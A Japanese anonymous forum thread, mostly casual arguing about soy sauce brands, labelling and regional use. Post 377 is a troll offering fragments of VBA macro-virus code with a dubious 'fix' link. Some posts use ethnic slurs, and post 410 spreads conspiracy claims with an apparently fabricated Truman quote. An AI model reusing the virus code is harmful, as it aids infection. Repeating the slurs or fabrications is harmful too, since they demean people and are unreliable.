醤油は味症が使う調味料

1隠し味さん05/02/20 14:08:41ID:JVuMaltC
醤油なんて旨みのわからない香具師が使う調味料
醤油なんて使っていると知能が落ちる

など、ここはアンチ醤油スレです。
よろしくどうぞ!

361隠し味さん2007/03/25(日) 13:03:44ID:Lr7RWNlb
味覚音痴で結構、醤油大好きさ。

362隠し味さん2007/03/26(月) 00:52:22ID:5EkAkOEr
>>357
リンク先読んだけど結局はおいしい濃口醤油を作りましたってこと。

つけ醤油のために開発されたということに惑わされて本膳が濃口醤油であるという本質を見失っていないか?

つけ醤油として旨ければ他の用途に使っても当然旨い。
本膳は香がすっきりしていて味に切れがあるから東京風の蕎麦つゆや天つゆにも相性がいい。

363隠し味さん2007/03/26(月) 03:06:56ID:btl2B7Kv
> つけ醤油として旨ければ他の用途に使っても当然旨い。
新しい醤油を新しい使い道で利用することを誰も否定してないでしょ。

発酵と熟成というサイクルを2回ないし3回繰り返し味と香り、そして色調を調えていく濃口醤油にくらべ、
「香がすっきりしていて味に切れがある」そしてうま味が強い本膳は濃口醤油と本質的に別モンだっつーてるの。

364隠し味さん2007/03/26(月) 04:32:13ID:2s/jEPxM
>>360
アル添の新式醸造と同じか。
ニセモノを平気で食う奴の気が知れないな。

365隠し味さん2007/03/26(月) 14:09:52ID:zbZPEEpw
>>363
つまり改良された濃口醤油ってことだな

366隠し味さん2007/04/09(月) 13:46:30ID:POM+l0Zj
age

367隠し味さん2007/04/10(火) 02:28:23ID:kRdzABIm
>>363
本膳のラベルには「こいくちしょうゆ(本醸造)」と書かれているわけだが

368隠し味さん2007/04/10(火) 21:10:05ID:uby1nnoa
>>367
食品の表示に関するガイドラインで他に分類のしようが無いだけだろ。
松田のマヨネーズがマヨネーズタイプにされたりするようなガイドラインだ、
根拠としては弱いな。

369隠し味さん2007/04/10(火) 21:36:50ID:miXt4OK6
> 発酵と熟成というサイクルを2回ないし3回繰り返し味と香り、そして色調を調えていく濃口醤油にくらべ、
> 「香がすっきりしていて味に切れがある」そしてうま味が強い本膳は濃口醤油と本質的に別モンだっつーてるの。

こっちの方がもっと根拠弱くないか?

370隠し味さん2007/04/10(火) 23:08:46ID:JmIxKfGp
和歌山の角長醤油ってどう?
醤油飲むくらい醤油好きなんだが。

371隠し味さん2007/04/18(水) 14:45:17ID:vJ451AFt
タマスズ醤油ウマいよ!タマスズタマスズ!
玉鈴激ウマー!

372隠し味さん2007/07/07(土) 20:10:22ID:fjnEHUT0
醤油マンセー

373隠し味さん2007/08/01(水) 17:52:28ID:VNrqBEe5
醤油だってこと

374隠し味さん2007/08/09(木) 09:10:53ID:mpe9/QpY
俺ろのだけど醤油おいしいよ!

375隠し味さんがガ蛾2007/08/09(木) 09:16:42ID:8JWsHoYn
しょうゆおいしいよね!

376隠し味さん2007/08/18(土) 00:34:35ID:kNnNf4I1
4月7日放送のテレ朝の「食彩の王国」は見たかい?

377隠し味さん2007/08/27(月) 06:15:47ID:Mf71Go/w?PLT(12334)
>>1
僭越ながらこの男根様 ◆CHINPOGEDUめは、久々に有効なウイルスコードを入手致しました
脆弱なセキュリティソフトをお使いのPC初心者様、けたたましい不快な警告音やPCの躍動をお楽しみくださいませ
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))

また、簡易的なものですがこのコードを無害化する方法を下記サイトにまとめておきました
http://oab.sytes.net:8010/~nusoku/secureguard.html
よろしければご活用くださいませ

378隠し味さん2007/08/27(月) 06:38:07ID:pQRxzvJO
落ちないうちに突撃だ!!!

【魚介類】刺し身が嫌いな奴は味覚障害
http://news23.2ch.net/test/read.cgi/news/1188144265/

379隠し味さん2007/08/28(火) 20:26:01ID:angQEYNt
>>370お土産に貰った和歌山の湯浅醤油は感動したよ
親子丼をあの醤油と水だけで作ったら凄いコクで美味しかった
義母も自分用に取り寄せたよ

その醤油も試してみたいな

380隠し味さん2007/11/23(金) 14:31:48ID:ctr1dHMT
刺身にはしょうゆ

381隠し味さん2007/11/26(月) 14:39:02ID:9NTl/o8r
醤油は何にでも合う調味料だろ・・・jk・・・

382隠し味さん2007/11/27(火) 17:31:34ID:2YxSZaw3
こないだ初めてリアルで嫌醤油厨がいたけどマジで引いた…
寿司キライだって
どんな食生活してんだよ

383隠し味さん2007/11/28(水) 07:06:05ID:gQa14ZA/
マジかよ(笑)
今や日本のみならず、調理済みの米国製レトルトのほぼ100%にも、醤油が入ってるぞ(もちろん隠し味としてレストランとかも)
マジ喰うものないじゃん

384隠し味さん2008/01/06(日) 06:09:19ID:MAMROrO6
>>383
嘘つき。

385隠し味さん2008/01/16(水) 14:50:35ID:i/lKu19D
ダードスレから記念カキコ

386隠し味さん2008/01/16(水) 23:54:50ID:OnUM1UNf
>>384
無知WW
調べもせずに嘘呼ばわりか?まるでこんなアホスレ立てたチョンみたいだな
んで厳密に言えば100%ではないだろうからほぼと書いたけど、米国製の調理済みのレトルトの材料欄見て見ろ
有り得ない物にまで醤油がつかわれていて目から鱗になるぞ
パスタにピザにラザニアとかにも普通に入ってて広報曰わく「味に深みがでる」んだそうだ。

387隠し味さん2008/01/21(月) 11:58:39ID:8iOEupyy
普通の醤油は製造時に加熱してるので、醤油の美味さの大半が死んでしまってる。
だから通なら醤油といえば生醤油。
ただし開封後は、冷蔵庫に入れて一ヶ月以内に使い切らないと腐る。

http://www.7dream.com/product/n/a01b48/g/540001001000000/p/1004199

388隠し味さん2008/02/23(土) 23:05:48ID:cm/ItCYH
これは納得。

389隠し味さん2008/02/25(月) 02:45:47ID:UGPf15SB
醤油を使うのは構わないが、出された料理の味も見ないでいきなり醤油をかける奴は100%味症。

390小豆ですから ◆showv.e9BQ 2008/02/26(火) 23:03:40ID:ndqXi4nz
>>389
それには同意できる。
魚とかにダボダボかけてるのを見たら、そいつとはご飯食べたくなくなる。

391隠し味さん2008/03/01(土) 18:25:36ID:y1fS4Tyr
>>389
同意。
その上料理した人に対して失礼だし。

392隠し味さん2008/03/30(日) 17:36:55ID:3DxL3xFg
>>387 本当は(普通の)しょうゆはまずいって
本当に味わった上で言ってる人がそういうのを
食べてしまうと手放せなくなるんだろうなと思う。

私も味噌ではそれに近いものがあるしな…。

393隠し味さん2008/08/07(木) 19:00:34ID:t/s5zN36

   / ̄\
  |  ^o^ | < しょうゆ おいしいです
   \_[]⊂/)
   _| |/ |
  |    / 

394隠し味さん2008/10/01(水) 09:55:12ID:P02Za0Kc
刺身には醤油なんてイラネ

ワサビマヨネーズで十分だろ

395隠し味さん2009/09/16(水) 17:23:46ID:AjMQFcTn

【醤油】ヒガシマル、醤油に含まれるSPSがメタボ予防に有効な事を解明…

学会で発表 [09/09/16]
http://anchorage.2ch.net/test/read.cgi/bizplus/1253086071/

396隠し味さん2009/09/29(火) 02:00:36ID:w4wNr7LP
このスレの98%の方は朝鮮人です。
醤油が憎くて憎くてたまりません

397隠し味さん2009/09/29(火) 03:28:26ID:azjMHtLE
今更だが「味症」ってなんだ?「味障」だろ。

398隠し味さん2009/11/12(木) 19:13:11ID:8dYiSqDy
ソースの消費量と購入価格
全国平均 1.624g 771円
   東京 1,449g 738円
   大阪 1,961g 406円
大阪市のソース消費量2,534mlで全国一(日本一の物があってよかったなw)
ところが大阪市のソース購入金額は990円で5番目
結論:大阪人は全国平均の1.6倍ものソース(安物)を大量に使う
結論:東京では高いソースを少量使う

醤油
全国平均 8,499ml 2,311円
   東京 5,717ml 1,640円
   大阪 7,762ml 1,851円
なんと大阪は醤油も安物をじゃぶじゃぶ使っていた

食塩
(省略されました・・全てを読むにはここを押してください)


23 名前:もぐもぐ名無しさん :2009/10/27(火) 22:24:23
えっ!!!!!
醤油ドバドバ東京!!って話も大阪人特有の嘘八百???

この情報にはびっくりですが、
大阪人は事実を晒されてスルーするだろうね。

399隠し味さん2009/12/20(日) 20:35:11ID:0/IaGC8l
まあ、俺は>>1から味症って何なのか
教えて欲しいんだが。

味の症状??本当に日本人?
日本語教育学んだ?


あっ、そうか…

400隠し味さん2010/03/16(火) 22:24:47ID:BgFLp7L5
お醤油は飲んでも美味いのか?「お醤油ミルクサイダー」発売
http://tsushima.2ch.net/test/read.cgi/news/1268740257/l50

401隠し味さん2010/03/18(木) 12:40:00ID:gudALEB+
>>400
金沢すげー

402隠し味さん2011/02/14(月) 04:43:10ID:IGpecPQ0
さすが裏日本

403隠し味さん2011/06/13(月) 15:39:50.67ID:ZPLnqx3a
【アメリカ】「醤油」さえ入れば、 一気!  一気!  一気!  一気!   ソーレソレソレ!!
http://hatsukari.2ch.net/test/read.cgi/news/1307902786/l50

404隠し味さん2012/03/22(木) 11:26:49.80ID:aFD6YEf/
【乞食速報】定価4683円の高級醤油がなんと865円
http://engawa.2ch.net/test/read.cgi/poverty/1332340876/l50

405隠し味さん2013/01/26(土) 22:47:41.47ID:QROOZp4K
ひつまぶし…蓬莱軒
味噌カツ…矢場とん
手羽先…風来坊or山ちゃん
味噌煮込みうどん…総本家or本店
きしめん…吉田
どて煮…島正
天むす…千寿
エビフライ…欧味
あんかけスパ…ヨコイ
鉄板スパ…ユキ
台湾ラーメン…味仙
カレーうどん…鯱乃家
名古屋コーチン…三和
小倉トースト…リヨン
変わり種…マウンテン
ファーストフード…スガキヤorコメダ
ういろう…青柳or大須
鬼まんじゅう…鬼作堂

406隠し味さん2014/04/07(月) 01:42:01.49ID:Vg6E1NPE
醤油嫌い、アンチマヨはいっぱいいるのに、アンチ醤油は少数なのね

407隠し味さん2014/06/04(水) 20:17:37.27ID:sNsl8hY+
醤油は、どんなにクソマズイ料理でもそれなりの味になるから良いんじゃん。
俺は醤油大好き。味覚障害呼ばわりされるならそれで結構だ。

408隠し味さん2014/12/08(月) 16:05:28.86ID:rmDKlFzc

409隠し味さん2015/07/28(火) 03:52:15.03ID:yU0E0IQl
>> 1

たくさんの外国人が今では醤油を絶賛しているぞ

410隠し味さん2016/08/20(土) 12:45:12.55ID:V96tOCNa
                        【猿の】     五輪、シン・ゴジラ、不倫報道     【惑星】


終戦時の米大統領トルーマン

「猿(日本人)を『虚実の自由』という名の檻で、我々が飼うのだ。スポーツ、スクリーン、セックス(3S)を解放すれば、真実から目を背けさせることができる。」
https://twitter.com/toka iama/status/765657758196637696


ヘルマン・ゲーリング

「国民を戦争に参加させるのは、常に簡単な事だ。とても単純だ。国民には攻撃されつつあると言い、
 平和主義者を愛国心に欠けていると非難し、国を危険にさらしてると主張する以外には、何もする必要がない。この方法はどんな国でも有効だ」
https://twitter.com/neko_aii/status/765532497778139138


コンビニでレジ待ちしていて前の高校生
「期末テストの社会で「原発は賛成か反対か意見を書け」ってあったんだよ。だから俺、「反対」って書いたらバツで返された。意見書けってのにバツっておかしくねえ?」
https://twitter.com/guchirubakari/status/759515386014334976
三菱商事の核ミサイル担当重役は安倍晋三の実兄、安倍寛信。これがフクイチで核弾頭ミサイルを製造していた疑惑がある。書けばツイッターで速攻削除されている。
https://twitter.com/toka iamada/status/664017453324726272


「さんまのまんま」9月いっぱいで終了…31年6ヶ月の歴史に幕

反原発、反安倍を表明している芸能人が、片っ端から芸能界を追放される電通によって
サンマ以降のバラエティ芸人の大半が、暴走族出身で極右思想。原発反対派を「放射脳」と嘲笑する連中。
芸能界極右は石原慎太郎一家を筆頭に、上田晋也 草野仁 津川雅彦 向井理 松本人志 宇多田ヒカル マツコ 春日俊彰 田村淳 北村晴雄
https://twitter.com/tokaia mada/status/630627400552845312

411隠し味さん2018/01/06(土) 01:21:11.11ID:n8NklgdT
始めのうちはウスターソースを賞賛してたけど、煮物にもウスター使うのか?
もしそうなら狂気の沙汰だな。

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